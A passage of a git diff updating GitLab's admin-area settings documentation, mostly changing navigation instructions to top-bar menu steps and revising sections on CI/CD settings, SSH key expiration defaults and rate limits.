--- a/doc/user/admin_area/settings/account_and_limit_settings.md
+++ b/doc/user/admin_area/settings/account_and_limit_settings.md
@@ -9,18 +9,22 @@ type: reference
## Default projects limit
-You can change the default maximum number of projects that users can create in their personal namespace.
-Navigate to **Admin Area > Settings > General**, then expand **Account and Limit**.
-You can increase or decrease that `Default projects limit` value.
+You can change the default maximum number of projects that users can create in their personal namespace:
-- If you set `Default projects limit` to 0, users are not allowed to create projects
- in their users personal namespace. However, projects can still be created in a group.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > General**, then expand **Account and limit**.
+1. Increase or decrease that **Default projects limit** value.
+
+If you set **Default projects limit** to 0, users are not allowed to create projects
+in their users personal namespace. However, projects can still be created in a group.
## Max attachment size
-You can change the maximum file size for attachments in comments and replies in GitLab.
-Navigate to **Admin Area > Settings > General**, then expand **Account and Limit**.
-From here, you can increase or decrease by changing the value in `Maximum attachment size (MB)`.
+You can change the maximum file size for attachments in comments and replies in GitLab:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > General**, then expand **Account and limit**.
+1. Increase or decrease by changing the value in **Maximum attachment size (MB)**.
NOTE:
If you choose a size larger than the configured value for the web server,
@@ -29,15 +33,26 @@ details.
## Max push size
-You can change the maximum push size for your repository.
-Navigate to **Admin Area > Settings > General**, then expand **Account and Limit**.
-From here, you can increase or decrease by changing the value in `Maximum push size (MB)`.
+You can change the maximum push size for your repository:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > General**, then expand **Account and limit**.
+1. Increase or decrease by changing the value in **Maximum push size (MB)**.
+
+NOTE:
+When you [add files to a repository](../../project/repository/web_editor.md#create-a-file)
+through the web UI, the maximum **attachment** size is the limiting factor,
+because the [web server](../../../development/architecture.md#components)
+must receive the file before GitLab can generate the commit.
+Use [Git LFS](../../../topics/git/lfs/index.md) to add large files to a repository.
## Max import size
-You can change the maximum file size for imports in GitLab.
-Navigate to **Admin Area > Settings > General**, then expand **Account and Limit**.
-From here, you can increase or decrease by changing the value in `Maximum import size (MB)`.
+You can change the maximum file size for imports in GitLab:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > General**, then expand **Account and limit**.
+1. Increase or decrease by changing the value in **Maximum import size (MB)**.
NOTE:
If you choose a size larger than the configured value for the web server,
@@ -55,7 +70,8 @@ A prefix can help you identify PATs visually, as well as with automation tools.
Only a GitLab administrator can set the prefix, which is a global setting applied
to any PAT generated in the system by any user:
-1. Navigate to **Admin Area > Settings > General**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > General**.
1. Expand the **Account and limit** section.
1. Fill in the **Personal Access Token prefix** field.
1. Click **Save changes**.
@@ -97,7 +113,8 @@ These settings can be found in:
1. Fill in the **Repository size limit (MB)** field in the **Naming, visibility** section.
1. Click **Save changes**.
- GitLab global settings:
- 1. From the Dashboard, navigate to **Admin Area > Settings > General**.
+ 1. On the top bar, select **Menu >** **{admin}** **Admin**.
+ 1. In the left sidebar, select **Settings > General**.
1. Expand the **Account and limit** section.
1. Fill in the **Size limit per repository (MB)** field.
1. Click **Save changes**.
@@ -143,7 +160,8 @@ GitLab administrators can choose to customize the session duration (in minutes)
To set a limit on how long these sessions are valid:
-1. Navigate to **Admin Area > Settings > General**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > General**.
1. Expand the **Account and limit** section.
1. Fill in the **Session duration for Git operations when 2FA is enabled (minutes)** field.
1. Click **Save changes**.
@@ -167,7 +185,8 @@ there are no restrictions.
To set a lifetime on how long personal access tokens are valid:
-1. Navigate to **Admin Area > Settings > General**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > General**.
1. Expand the **Account and limit** section.
1. Fill in the **Maximum allowable lifetime for personal access tokens (days)** field.
1. Click **Save changes**.
@@ -182,22 +201,19 @@ Once a lifetime for personal access tokens is set, GitLab:
## Enforce SSH key expiration **(ULTIMATE SELF)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/250480) in GitLab 13.9.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/250480) in GitLab 13.9.
+> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/320970) in GitLab 14.0.
-By default, expired SSH keys **can still be used**.
+By default, expired SSH keys **are not usable**.
-WARNING:
-Allowing use of expired SSH keys by default is deprecated and scheduled to change in GitLab 14.0.
+To allow the use of expired SSH keys:
-To prevent the use of expired SSH keys:
-
-1. Navigate to **Admin Area > Settings > General**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > General**.
1. Expand the **Account and limit** section.
-1. Select the **Enforce SSH key expiration** checkbox.
-
-Enforcing SSH key expiration immediately disables all expired SSH keys.
+1. Uncheck the **Enforce SSH key expiration** checkbox.
-For more information, see the following issue on [SSH key expiration](https://gitlab.com/gitlab-org/gitlab/-/issues/320970).
+Disabling SSH key expiration immediately enables all expired SSH keys.
## Do not enforce Personal Access Token expiration **(ULTIMATE SELF)**
@@ -209,7 +225,8 @@ You can allow the use of expired PATs with the following steps:
To do this:
-1. Navigate to **Admin Area > Settings > General**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > General**.
1. Expand the **Account and limit** section.
1. Uncheck the **Enforce personal access token expiration** checkbox.
@@ -221,8 +238,9 @@ To maintain integrity of user details in [Audit Events](../../../administration/
To do this:
-1. Navigate to **Admin Area > Settings > General**, then expand **Account and Limit**.
-1. Check the **Prevent users from changing their profile name** checkbox.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > General**, then expand **Account and limit**.
+1. Select the **Prevent users from changing their profile name** checkbox.
NOTE:
When this ability is disabled, GitLab administrators can still use the
diff --git a/doc/user/admin_area/settings/continuous_integration.md b/doc/user/admin_area/settings/continuous_integration.md
index decd204dbe5..ffe969a6799 100644
--- a/doc/user/admin_area/settings/continuous_integration.md
+++ b/doc/user/admin_area/settings/continuous_integration.md
@@ -1,22 +1,22 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
-# Continuous Integration and Deployment Admin settings **(FREE SELF)**
+# Continuous Integration and Deployment Admin Area settings **(FREE SELF)**
-In this area, you will find settings for Auto DevOps, runners, and job artifacts.
-You can find it in the [Admin Area](index.md) by navigating to
-**Admin Area > Settings > CI/CD**.
+The [Admin Area](index.md) has the instance settings for Auto DevOps, runners, and
+job artifacts.
-## Auto DevOps **(FREE SELF)**
+## Auto DevOps
To enable (or disable) [Auto DevOps](../../../topics/autodevops/index.md)
for all projects:
-1. Go to **Admin Area > Settings > CI/CD**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > CI/CD**.
1. Check (or uncheck to disable) the box that says **Default to Auto DevOps pipeline for all projects**.
1. Optionally, set up the [Auto DevOps base domain](../../../topics/autodevops/index.md#auto-devops-base-domain)
which is used for Auto Deploy and Auto Review Apps.
@@ -28,6 +28,25 @@ From now on, every existing project and newly created ones that don't have a
If you want to disable it for a specific project, you can do so in
[its settings](../../../topics/autodevops/index.md#enable-or-disable-auto-devops).
+## Shared runner details
+
+To display details about the instance's shared runners in all projects'
+runner settings:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > CI/CD**.
+1. Expand **Continuous Integration and Deployment**.
+1. Enter your shared runner details in the **Shared runner details** field.
+
+You can use [Markdown](../../markdown.md) for improved formatting. To see the rendered
+details:
+
+1. On the top bar, select **Menu > Project** and select any group or project.
+1. On the left sidebar, select **Settings > CI/CD**.
+1. Expand **Runners**.
+
+![Shared runner details example](img/continuous_integration_shared_runner_details_v14_0.png)
+
## Maximum artifacts size **(FREE SELF)**
The maximum size of the [job artifacts](../../../administration/job_artifacts.md)
@@ -45,9 +64,10 @@ To change it at the:
- Instance level:
- 1. Go to **Admin Area > Settings > CI/CD**.
- 1. Change the value of maximum artifacts size (in MB).
- 1. Click **Save changes** for the changes to take effect.
+ 1. On the top bar, select **Menu >** **{admin}** **Admin**.
+ 1. On the left sidebar, select **Settings > CI/CD**.
+ 1. Change the value of maximum artifacts size (in MB).
+ 1. Click **Save changes** for the changes to take effect.
- Group level (this overrides the instance setting):
@@ -64,14 +84,15 @@ To change it at the:
NOTE:
The setting at all levels is only available to GitLab administrators.
-## Default artifacts expiration **(FREE SELF)**
+## Default artifacts expiration
The default expiration time of the [job artifacts](../../../administration/job_artifacts.md)
can be set in the Admin Area of your GitLab instance. The syntax of duration is
described in [`artifacts:expire_in`](../../../ci/yaml/README.md#artifactsexpire_in)
and the default value is `30 days`.
-1. Go to **Admin Area > Settings > CI/CD**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > CI/CD**.
1. Change the value of default expiration time.
1. Click **Save changes** for the changes to take effect.
@@ -85,12 +106,13 @@ be updated for artifacts created before this setting was changed.
The administrator may need to manually search for and expire previously-created
artifacts, as described in the [troubleshooting documentation](../../../administration/troubleshooting/gitlab_rails_cheat_sheet.md#remove-artifacts-more-than-a-week-old).
-## Keep the latest artifacts for all jobs in the latest successful pipelines **(CORE ONLY)**
+## Keep the latest artifacts for all jobs in the latest successful pipelines
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50889) in GitLab Core 13.9.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50889) in GitLab 13.9.
-When enabled (default), the artifacts for the most recent pipeline for a ref are
-locked against deletion and kept regardless of the expiry time.
+When enabled (default), the artifacts of the most recent pipeline for each Git ref
+([branches and tags](https://git-scm.com/book/en/v2/Git-Internals-Git-References))
+are locked against deletion and kept regardless of the expiry time.
When disabled, the latest artifacts for any **new** successful or fixed pipelines
are allowed to expire.
@@ -100,7 +122,8 @@ If disabled at the instance level, you cannot enable this per-project.
To disable the setting:
-1. Go to **Admin Area > Settings > CI/CD**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > CI/CD**.
1. Expand **Continuous Integration and Deployment**.
1. Clear the **Keep the latest artifacts for all jobs in the latest successful pipelines** checkbox.
1. Click **Save changes**
@@ -121,18 +144,17 @@ shared runners per month. Setting this to `0` (default value) grants
unlimited pipeline minutes. While build limits are stored as minutes, the
counting is done in seconds. Usage resets on the first day of each month.
On GitLab.com, the quota is calculated based on your
-[subscription plan](https://about.gitlab.com/pricing/#gitlab-com).
+[subscription plan](../../../subscriptions/gitlab_com/index.md#ci-pipeline-minutes).
To change the pipelines minutes quota:
-1. Go to **Admin Area > Settings > CI/CD**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > CI/CD**.
1. Expand **Continuous Integration and Deployment**.
1. In the **Pipeline minutes quota** box, enter the maximum number of minutes.
1. Click **Save changes** for the changes to take effect.
----
-
-While the setting in the Admin Area has a global effect, as an admin you can
+While the setting in the Admin Area has a global effect, as an administrator you can
also change each group's pipeline minutes quota to override the global value.
1. Navigate to the **Admin Area > Overview > Groups** and hit the **Edit**
@@ -140,8 +162,8 @@ also change each group's pipeline minutes quota to override the global value.
1. In the **Pipeline Minutes Quota** box, enter the maximum number of minutes.
1. Click **Save changes** for the changes to take effect.
-Once saved, you can see the build quota in the group admin view.
-The quota can also be viewed in the project admin view if shared runners
+Once saved, you can see the build quota in the group settings.
+The quota can also be viewed in the project settings if shared runners
are enabled.
![Project admin information](img/admin_project_quota_view.png)
@@ -151,7 +173,7 @@ a group in the **Usage Quotas** page available to the group page settings list.
![Group pipelines quota](img/group_pipelines_quota.png)
-## Archive jobs **(FREE SELF)**
+## Archive jobs
Archiving jobs is useful for reducing the CI/CD footprint on the system by
removing some of the capabilities of the jobs (metadata needed to run the job),
@@ -159,29 +181,40 @@ but persisting the traces and artifacts for auditing purposes.
To set the duration for which the jobs are considered as old and expired:
-1. Go to **Admin Area > Settings > CI/CD**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > CI/CD**.
1. Expand the **Continuous Integration and Deployment** section.
1. Set the value of **Archive jobs**.
1. Hit **Save changes** for the changes to take effect.
-Once that time passes, the jobs are archived and no longer able to be
+After that time passes, the jobs are archived and no longer able to be
retried. Make it empty to never expire jobs. It has to be no less than 1 day,
for example: <code>15 days</code>, <code>1 month</code>, <code>2 years</code>.
As of June 22, 2020 the [value is set](../../gitlab_com/index.md#gitlab-cicd) to 3 months on GitLab.com. Jobs created before that date were archived after September 22, 2020.
-## Default CI configuration path
+## Protect CI/CD variables by default
+
+To set all new [CI/CD variables](../../../ci/variables/README.md) as
+[protected](../../../ci/variables/README.md#protect-a-cicd-variable) by default:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > CI/CD**.
+1. Select **Protect CI/CD variables by default**.
+
+## Default CI/CD configuration file
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18073) in GitLab 12.5.
-The default CI configuration file path for new projects can be set in the Admin
-Area of your GitLab instance (`.gitlab-ci.yml` if not set):
+The default CI/CD configuration file and path for new projects can be set in the Admin Area
+of your GitLab instance (`.gitlab-ci.yml` if not set):
-1. Go to **Admin Area > Settings > CI/CD**.
-1. Input the new path in the **Default CI configuration path** field.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > CI/CD**.
+1. Input the new file and path in the **Default CI/CD configuration file** field.
1. Hit **Save changes** for the changes to take effect.
-It is also possible to specify a [custom CI/CD configuration path for a specific project](../../../ci/pipelines/settings.md#custom-cicd-configuration-path).
+It is also possible to specify a [custom CI/CD configuration file for a specific project](../../../ci/pipelines/settings.md#custom-cicd-configuration-file).
## Required pipeline configuration **(PREMIUM SELF)**
@@ -191,30 +224,33 @@ This feature is being re-evaluated in favor of a different
We recommend that users who haven't yet implemented this feature wait for
the new solution.
-GitLab administrators can force a pipeline configuration to run on every
-pipeline.
+You can set a [CI/CD template](../../../ci/examples/README.md#cicd-templates)
+as a required pipeline configuration for all projects on a GitLab instance. You can
+use a template from:
-The configuration applies to all pipelines for a GitLab instance and is
-sourced from:
+- The default CI/CD templates.
+- A custom template stored in an [instance template repository](instance_template_repository.md).
-- The [instance template repository](instance_template_repository.md).
-- GitLab-supplied configuration.
+ NOTE:
+ When you use a configuration defined in an instance template repository,
+ nested [`include:`](../../../ci/yaml/README.md#include) keywords
+ (including `include:file`, `include:local`, `include:remote`, and `include:template`)
+ [do not work](https://gitlab.com/gitlab-org/gitlab/-/issues/35345).
-NOTE:
-When you use a configuration defined in an instance template repository,
-nested [`include:`](../../../ci/yaml/README.md#include) keywords
-(including `include:file`, `include:local`, `include:remote`, and `include:template`)
-[do not work](https://gitlab.com/gitlab-org/gitlab/-/issues/35345).
+The project CI/CD configuration merges into the required pipeline configuration when
+a pipeline runs. The merged configuration is the same as if the required pipeline configuration
+added the project configuration with the [`include` keyword](../../../ci/yaml/README.md#include).
+To view a project's full merged configuration, [View the merged YAML](../../../ci/pipeline_editor/index.md#view-expanded-configuration)
+in the pipeline editor.
-To set required pipeline configuration:
+To select a CI/CD template for the required pipeline configuration:
-1. Go to **Admin Area > Settings > CI/CD**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > CI/CD**.
1. Expand the **Required pipeline configuration** section.
-1. Select the required configuration from the provided dropdown.
+1. Select a CI/CD template from the dropdown.
1. Click **Save changes**.
-![Required pipeline](img/admin_required_pipeline.png)
-
## Package Registry configuration
### npm Forwarding **(PREMIUM SELF)**
@@ -223,7 +259,8 @@ GitLab administrators can disable the forwarding of npm requests to [npmjs.com](
To disable it:
-1. Go to **Admin Area > Settings > CI/CD**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > CI/CD**.
1. Expand the **Package Registry** section.
1. Uncheck **Enable forwarding of npm package requests to npmjs.org**.
1. Click **Save changes**.
@@ -236,7 +273,8 @@ GitLab administrators can adjust the maximum allowed file size for each package
To set the maximum file size:
-1. Go to **Admin Area > Settings > CI/CD**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > CI/CD**.
1. Expand the **Package Registry** section.
1. Find the package type you would like to adjust.
1. Enter the maximum file size, in bytes.
diff --git a/doc/user/admin_area/settings/external_authorization.md b/doc/user/admin_area/settings/external_authorization.md
index 0975b93f98f..205dd77c1bf 100644
--- a/doc/user/admin_area/settings/external_authorization.md
+++ b/doc/user/admin_area/settings/external_authorization.md
@@ -39,10 +39,11 @@ the [Omnibus GitLab documentation](https://docs.gitlab.com/omnibus/settings/logs
## Configuration
-The external authorization service can be enabled by an administrator on the GitLab
-**Admin Area > Settings > General** page:
+The external authorization service can be enabled by an administrator:
-![Enable external authorization service](img/external_authorization_service_settings.png)
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > General**:
+ ![Enable external authorization service](img/external_authorization_service_settings.png)
The available required properties are:
diff --git a/doc/user/admin_area/settings/floc.md b/doc/user/admin_area/settings/floc.md
index e1d10727341..31a626478ed 100644
--- a/doc/user/admin_area/settings/floc.md
+++ b/doc/user/admin_area/settings/floc.md
@@ -22,7 +22,8 @@ Permissions-Policy: interest-cohort=()
To enable it:
-1. Go to the Admin Area (**{admin}**) and select **Settings > General**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > General**.
1. Expand **Federated Learning of Cohorts**.
1. Check the box.
1. Click **Save changes**.
diff --git a/doc/user/admin_area/settings/gitaly_timeouts.md b/doc/user/admin_area/settings/gitaly_timeouts.md
index 3570634b9ba..6f488efee11 100644
--- a/doc/user/admin_area/settings/gitaly_timeouts.md
+++ b/doc/user/admin_area/settings/gitaly_timeouts.md
@@ -12,7 +12,8 @@ configured to make sure that long running Gitaly calls don't needlessly take up
To access Gitaly timeout settings:
-1. Go to **Admin Area > Settings > Preferences**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > Preferences**.
1. Expand the **Gitaly** section.
## Available timeouts
@@ -20,9 +21,8 @@ To access Gitaly timeout settings:
The following timeouts can be modified:
- **Default Timeout Period**. This timeout is the default for most Gitaly calls. It should be shorter than the
- worker timeout that can be configured for [Puma](https://docs.gitlab.com/omnibus/settings/puma.html#puma-settings)
- or [Unicorn](https://docs.gitlab.com/omnibus/settings/unicorn.html). Used to make sure that Gitaly
- calls made within a web request cannot exceed the entire request timeout.
+ worker timeout that can be configured for [Puma](https://docs.gitlab.com/omnibus/settings/puma.html#puma-settings).
+ Used to make sure that Gitaly calls made within a web request cannot exceed the entire request timeout.
Defaults to 55 seconds.
- **Fast Timeout Period**. This is the timeout for very short Gitaly calls. Defaults to 10 seconds.
diff --git a/doc/user/admin_area/settings/help_page.md b/doc/user/admin_area/settings/help_page.md
index 5739c3e4f10..d7c96c295f6 100644
--- a/doc/user/admin_area/settings/help_page.md
+++ b/doc/user/admin_area/settings/help_page.md
@@ -16,7 +16,8 @@ to go for help. You can customize and display this information on the GitLab ser
You can add a help message, which is shown on the GitLab `/help` page (e.g.,
<https://gitlab.com/help>) in a new section at the top of the `/help` page:
-1. Navigate to **Admin Area > Settings > Preferences**, then expand **Help page**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > Preferences**, then expand **Help page**.
1. Under **Help page text**, fill in the information you wish to display on `/help`.
1. Save your changes. You can now see the message on `/help`.
@@ -25,7 +26,8 @@ You can add a help message, which is shown on the GitLab `/help` page (e.g.,
You can add a help message, which is shown on the GitLab login page in a new section
titled `Need Help?`, located below the login page message:
-1. Navigate to **Admin Area > Settings > Preferences**, then expand **Help page**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > Preferences**, then expand **Help page**.
1. Under **Help text**, fill in the information you wish to display on the login page.
![help message on login page](img/help_page_help_text_v12_3.png)
diff --git a/doc/user/admin_area/settings/img/admin_required_pipeline.png b/doc/user/admin_area/settings/img/admin_required_pipeline.png
deleted file mode 100644
index 501b1e3ba0a..00000000000
--- a/doc/user/admin_area/settings/img/admin_required_pipeline.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/admin_area/settings/img/continuous_integration_shared_runner_details_v14_0.png b/doc/user/admin_area/settings/img/continuous_integration_shared_runner_details_v14_0.png
new file mode 100644
index 00000000000..d8bc3deccd4
--- /dev/null
+++ b/doc/user/admin_area/settings/img/continuous_integration_shared_runner_details_v14_0.png
Binary files differ
diff --git a/doc/user/admin_area/settings/img/custom_sign_in_page_v13_6.png b/doc/user/admin_area/settings/img/custom_sign_in_page_v13_6.png
deleted file mode 100644
index 5eb2134187a..00000000000
--- a/doc/user/admin_area/settings/img/custom_sign_in_page_v13_6.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/admin_area/settings/img/enforce_terms.png b/doc/user/admin_area/settings/img/enforce_terms.png
index 3d93e1cc891..699e0e63ceb 100644
--- a/doc/user/admin_area/settings/img/enforce_terms.png
+++ b/doc/user/admin_area/settings/img/enforce_terms.png
Binary files differ
diff --git a/doc/user/admin_area/settings/import_export_rate_limits.md b/doc/user/admin_area/settings/import_export_rate_limits.md
index c6b965c18d3..12235bdb5ef 100644
--- a/doc/user/admin_area/settings/import_export_rate_limits.md
+++ b/doc/user/admin_area/settings/import_export_rate_limits.md
@@ -5,7 +5,7 @@ group: Import
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Project/Group Import/Export rate limits
+# Project/group import/export rate limits **(FREE SELF)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35728) in GitLab 13.2.
@@ -23,7 +23,7 @@ per minute per user basis:
All rate limits are:
-- Configurable at **(admin)** **Admin Area > Settings > Network > Import/Export Rate Limits**
+- Configurable through the top bar at **Menu > Admin > Settings > Network > Import/Export Rate Limits**
- Applied per minute per user
- Not applied per IP address
- Active by default. To disable, set the option to `0`
diff --git a/doc/user/admin_area/settings/index.md b/doc/user/admin_area/settings/index.md
index a66502d9466..6a5af09358d 100644
--- a/doc/user/admin_area/settings/index.md
+++ b/doc/user/admin_area/settings/index.md
@@ -9,25 +9,28 @@ type: index
As an administrator of a GitLab self-managed instance, you can manage the behavior of your deployment. To do so, select **Admin Area > Settings**.
-The admin area is not accessible on GitLab.com, and settings can only be changed by the
+The Admin Area is not accessible on GitLab.com, and settings can only be changed by the
GitLab.com administrators. See the [GitLab.com settings](../../gitlab_com/index.md)
documentation for all current settings and limits on the GitLab.com instance.
## General
-Access the default page for admin area settings by navigating to **Admin Area > Settings > General**:
+To access the default page for Admin Area settings:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > General**.
| Option | Description |
| ------ | ----------- |
| [Visibility and access controls](visibility_and_access_controls.md) | Set default and restrict visibility levels. Configure import sources and Git access protocol. |
-| [Account and limit](account_and_limit_settings.md) **(STARTER)** | Set projects and maximum size limits, session duration, user options, and check feature availability for namespace plan. |
+| [Account and limit](account_and_limit_settings.md) | Set projects and maximum size limits, session duration, user options, and check feature availability for namespace plan. |
| [Diff limits](../diff_limits.md) | Diff content limits. |
| [Sign-up restrictions](sign_up_restrictions.md) | Configure the way a user creates a new account. |
| [Sign in restrictions](sign_in_restrictions.md) | Set requirements for a user to sign in. Enable mandatory two-factor authentication. |
| [Terms of Service and Privacy Policy](terms.md) | Include a Terms of Service agreement and Privacy Policy that all users must accept. |
| [External Authentication](external_authorization.md#configuration) | External Classification Policy Authorization |
| [Web terminal](../../../administration/integration/terminal.md#limiting-websocket-connection-time) | Set max session time for web terminal. |
-| [Web IDE](../../project/web_ide/index.md#enabling-live-preview) | Manage Web IDE Features. |
+| [Web IDE](../../project/web_ide/index.md#enable-live-preview) | Manage Web IDE features. |
| [FLoC](floc.md) | Enable or disable [Federated Learning of Cohorts (FLoC)](https://en.wikipedia.org/wiki/Federated_Learning_of_Cohorts) tracking. |
## Integrations
@@ -116,6 +119,11 @@ Access the default page for admin area settings by navigating to **Admin Area >
| [Gitaly timeouts](gitaly_timeouts.md) | Configure Gitaly timeouts. |
| Localization | [Default first day of the week](../../profile/preferences.md) and [Time tracking](../../project/time_tracking.md#limit-displayed-units-to-hours). |
-NOTE:
-You can change the [Default first day of the week](../../profile/preferences.md) for the entire GitLab instance
-in the **Localization** section of **Admin Area > Settings > Preferences**.
+### Default first day of the week
+
+You can change the [Default first day of the week](../../profile/preferences.md)
+for the entire GitLab instance:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > Preferences**.
+1. Scroll to the **Localization** section, and select your desired first day of the week.
diff --git a/doc/user/admin_area/settings/instance_template_repository.md b/doc/user/admin_area/settings/instance_template_repository.md
index 600d99934aa..c8a4c2866ca 100644
--- a/doc/user/admin_area/settings/instance_template_repository.md
+++ b/doc/user/admin_area/settings/instance_template_repository.md
@@ -17,12 +17,17 @@ while the project remains secure.
## Configuration
-As an administrator, navigate to **Admin Area > Settings > Templates** and
-select the project to serve as the custom template repository.
+To select a project to serve as the custom template repository:
-![File templates in the Admin Area](img/file_template_admin_area.png)
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > Templates**.
+1. Select the project:
-After that, you can add custom templates to the selected repository and use them for the entire instance.
+ ![File templates in the Admin Area](img/file_template_admin_area.png)
+
+1. Add custom templates to the selected repository.
+
+After you add templates, you can use them for the entire instance.
They are available in the [Web Editor's dropdown](../../project/repository/web_editor.md#template-dropdowns)
and through the [API settings](../../../api/settings.md).
diff --git a/doc/user/admin_area/settings/package_registry_rate_limits.md b/doc/user/admin_area/settings/package_registry_rate_limits.md
index 578b7cd1236..6e7b9b0da30 100644
--- a/doc/user/admin_area/settings/package_registry_rate_limits.md
+++ b/doc/user/admin_area/settings/package_registry_rate_limits.md
@@ -9,7 +9,8 @@ type: reference
Rate limiting is a common technique used to improve the security and durability of a web
application. For more details, see [Rate limits](../../../security/rate_limits.md). General user and
-IP rate limits can be enforced in **Admin Area > Settings > Network > User and IP rate limits**.
+IP rate limits can be enforced from the top bar at
+**Menu > Admin > Settings > Network > User and IP rate limits**.
For more details, see [User and IP rate limits](user_and_ip_rate_limits.md).
With the [GitLab Package Registry](../../packages/package_registry/index.md),
@@ -20,7 +21,7 @@ the [Packages API](../../../api/packages.md).
When downloading such dependencies in downstream projects, many requests are made through the
Packages API. You may therefore reach enforced user and IP rate limits. To address this issue, you
can define specific rate limits for the Packages API in
-**Admin Area > Settings > Network > Package Registry Rate Limits**:
+**Menu > Admin > Settings > Network > Package Registry Rate Limits**:
- Unauthenticated Packages API requests
- Authenticated Packages API requests
diff --git a/doc/user/admin_area/settings/project_integration_management.md b/doc/user/admin_area/settings/project_integration_management.md
index b152787b23f..3140eecfa53 100644
--- a/doc/user/admin_area/settings/project_integration_management.md
+++ b/doc/user/admin_area/settings/project_integration_management.md
@@ -22,7 +22,8 @@ Only the complete settings for an integration can be inherited. Per-field inheri
> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2137) in GitLab 13.3 for project-level integrations.
> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2543) in GitLab 13.6 for group-level integrations.
-1. Navigate to **Admin Area > Settings > Integrations**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > Integrations**.
1. Select an integration.
1. Enter configuration details and click **Save changes**.
@@ -53,7 +54,8 @@ integration on all non-configured groups and projects by default.
### Remove an instance-level default setting
-1. Navigate to **Admin Area > Settings > Integrations**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > Integrations**.
1. Select an integration.
1. Click **Reset** and confirm.
diff --git a/doc/user/admin_area/settings/push_event_activities_limit.md b/doc/user/admin_area/settings/push_event_activities_limit.md
index 7032c1031a9..21e4f32ff8d 100644
--- a/doc/user/admin_area/settings/push_event_activities_limit.md
+++ b/doc/user/admin_area/settings/push_event_activities_limit.md
@@ -23,9 +23,14 @@ branches), only 1 bulk push event is created instead of 1,000 push
events. This helps in maintaining good system performance and preventing spam on
the activity feed.
-This setting can be modified in **Admin Area > Settings > Network > Performance Optimization**.
-This can also be configured via the [Application settings API](../../../api/settings.md#list-of-settings-that-can-be-accessed-via-api-calls)
-as `push_event_activities_limit`. The default value is 3, but it can be greater
-than or equal 0.
+To modify this setting:
+
+- In the Admin Area:
+ 1. On the top bar, select **Menu >** **{admin}** **Admin**.
+ 1. In the left sidebar, select **Settings > Network**, then expand **Performance optimization**.
+- Through the [Application settings API](../../../api/settings.md#list-of-settings-that-can-be-accessed-via-api-calls)
+ as `push_event_activities_limit`.
+
+The default value is 3, but it can be greater than or equal 0.
![Push event activities limit](img/push_event_activities_limit_v12_4.png)
diff --git a/doc/user/admin_area/settings/rate_limit_on_notes_creation.md b/doc/user/admin_area/settings/rate_limit_on_notes_creation.md
index 1997e6b5149..67a97d26b34 100644
--- a/doc/user/admin_area/settings/rate_limit_on_notes_creation.md
+++ b/doc/user/admin_area/settings/rate_limit_on_notes_creation.md
@@ -28,5 +28,5 @@ The default value is `300`.
Requests over the rate limit are logged into the `auth.log` file.
For example, if you set a limit of 300, requests using the
